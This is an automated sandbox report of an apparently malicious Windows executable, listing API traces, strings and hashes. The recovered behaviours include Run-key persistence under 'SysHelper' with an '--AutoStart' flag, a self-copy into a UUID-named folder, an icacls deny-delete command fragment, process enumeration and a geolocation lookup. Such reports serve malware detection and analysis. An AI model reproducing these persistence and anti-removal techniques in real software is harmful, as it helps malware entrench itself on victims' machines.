stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Shell32.dll, xrefs: 00411E94
icacls ", xrefs: 0041214C
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
SysHelper, xrefs: 00411D5B, 004120EB
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SHGetFolderPathW, xrefs: 00411E9F

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

GetQueueStatus, xrefs: 00481C6B
LanmanServer, xrefs: 00481A74
Heap32First, xrefs: 00481D8E
Process32First, xrefs: 00481DDA
Thread32Next, xrefs: 00481E13
Module32First, xrefs: 00481E26
Module32Next, xrefs: 00481E39
NETAPI32.DLL, xrefs: 004819A9
Process32Next, xrefs: 00481DED
CryptAcquireContextW, xrefs: 00481AD5
CreateToolhelp32Snapshot, xrefs: 00481D67
CryptGenRandom, xrefs: 00481AE3
LanmanWorkstation, xrefs: 00481A26
NetApiBufferFree, xrefs: 004819F0
Heap32ListNext, xrefs: 00481DC7
$, xrefs: 00481F7E
GetCursorInfo, xrefs: 00481C58
USER32.DLL, xrefs: 00481C31
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
GetForegroundWindow, xrefs: 00481C4A
KERNEL32.DLL, xrefs: 0048199C
Heap32ListFirst, xrefs: 00481DB4
ADVAPI32.DLL, xrefs: 00481989
Thread32First, xrefs: 00481E00
CryptReleaseContext, xrefs: 00481AF6
CloseToolhelp32Snapshot, xrefs: 00481D7B
Heap32Next, xrefs: 00481DA1
NetStatisticsGet, xrefs: 004819E2

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

